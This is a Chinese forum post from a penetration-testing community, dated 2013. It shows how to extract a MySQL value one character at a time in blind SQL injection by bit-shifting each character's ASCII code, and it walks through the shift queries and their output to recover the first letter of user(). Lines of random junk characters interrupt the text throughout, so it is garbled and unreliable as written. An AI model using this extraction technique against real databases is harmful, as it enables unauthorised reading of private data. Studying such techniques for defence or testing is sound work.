中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

---

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
) e" [5 b% m; ^; U" O  ^! D- \  G
5 D+ P  x9 V5 x7 b) w
5 U4 ~. q% U5 L  p
7 J" y+ b, H# O2 Y! V下面将以查询mysql数据库当中user()的第一位为例:



  F8 Z: F5 Y3 ]1 q; h  Bps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

) u- S7 U* r6 d- Z9 N: R4 \

, i' d# K/ m/ ^3 m: w" R首先执行如下sql语句:


! A% D! E" ^1 F' v* I
* F7 I/ s/ _( E5 Y+ j1 ~5 v/ _mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

! ^) `- d  G3 q$ x; G& t& u, d+ [
2 v! [9 V! r4 U
/ q9 O7 h! J& i+ X* P我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

8 G: k( t: b! C5 I" }9 d- M' U5 b

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
0 k* i6 i; c( M( O. {1 [/ Q
% n8 ^8 g' r+ l$ M( J% _: q8 J

如果运算结果为1,说明第一位为0,不为1
/ E! }8 r7 Z7 x; X7 c8 x" k' h5 ~" n: u

& A- }' h. V" `! b( e) J: v
+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

| 1 |
7 u! a8 @, O7 F& z7 H
+————————————–+
& h8 M6 d" O* K' i: y. ]
. a( ^  q! i6 o$ m1 row in set (0.00 sec)
) r8 ?' H0 R  x- B4 Q: ^
这样我们就确定这个8bit的ascii的第一位为0

+ L6 H; R9 \: }" m, T) Y
8 z% K$ ^5 U. H. a
! `6 z6 a( V. Y" F! {第二次我们来做6次右偏移来确定前两位


9 M& d3 k& n" z8 B
( v2 q' C5 J7 ~) @前两位可能是01或00,即依然可以与0做比较,

, ?% k1 z& s- Bmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
6 a% ?/ ^& a3 n: J" m
$ V# D! V# G! C4 n+————————————–+

# Q. M- u  Z9 {1 ^( V6 D  N4 c% f| (ascii((substr(user(),1,1))) >> 6)=0 |
% P; m6 Z$ I. X2 E7 Y
, a/ m% {" V: N  Z% V: W+————————————–+
5 B! J$ l6 `! o4 a9 ^
8 c+ u0 q; K1 s# {# b0 e0 J| 0 |

+————————————–+
/ s. g+ H3 [( u) h, x" k
2 ?! |* X/ M. R/ p& I1 row in set (0.00 sec)
: d: v7 w- |: [! f+ {$ J( J

6 q) M+ ?2 U+ P$ j
' w) a% T9 M  U  {2 `2 b- x$ }  P结果为0,即第二位为1
0 @) U+ m  R2 T5 V5 e

; Q+ M# d$ M4 @1 t
! ]' {0 [* @- E/ ^开始猜测前三位为010或011
4 {: f. u) r0 E" n* c, y
5 ?  g! I& \$ [* f3 h: p* N- g
( ]1 l# X. f! a# T  Z
: U) r& |7 F9 x, u& ^! x. k让我们看看010和011的ascii码是多少

/ r; g' o$ f; F. m0 i3 W

+ l  }. ]$ y6 O& l7 c* `分别查询select b’011′ select b’010′
; k7 w3 V2 O) [% v6 Z

, [" O8 X. ?" \9 `5 T/ P5 _5 W
获得结果 010 = 2 011 = 3
+ `7 p5 s) T* G. l
5 f: ?4 ?3 `- l/ A' o8 r

, z$ O1 t; n% }/ E1 I执行如下sql:
. ~( r6 l1 S3 ^. n


mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+
+ D2 M; V* e+ _4 E2 O% O
| (ascii((substr(user(),1,1))) >> 5)=2 |
" O( f' L) s3 [6 C
3 s3 ]- n3 `; u9 ^1 T+————————————–+
* ~5 ^& @4 R. t; O' Y
4 D1 {) l: t0 K- m4 R# _- H| 0 |

+————————————–+
: o4 B2 x# j0 H1 k4 W
即前三位不为010,而是011
7 O6 N. s/ z* [- `9 h* O1 T


/ F3 h+ i0 \, B) l直到获得最后一位

6 V! W+ a, t  b
& D1 L) P# R  Q. X4 u
" C+ L7 Z( `) I# g' q最终结果为:01110010

3 @% j+ q+ r6 N8 K( A( m

转换一下:



select b’01110010′



查询结果
! n9 J% M" t$ D% t# v
2 G3 L2 v. ?3 z1 P9 F( v" X

+————-+
, f% v" W1 S/ r. j
| b’01110010′ |

+————-+
3 g0 H2 @) Q9 F2 r0 M! F  N. _- [
# N% M, ]6 C$ B4 A1 D| r |

; \' _! ?, E5 p, e& r) M+————-+
2 w) A! {6 J. F, r9 R
; m) q9 d( e$ i1 row in set (0.00 sec)

: N( C! S2 l" L! x6 P* E

这样我们就获得了user()的第一位.其它位依此类推

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2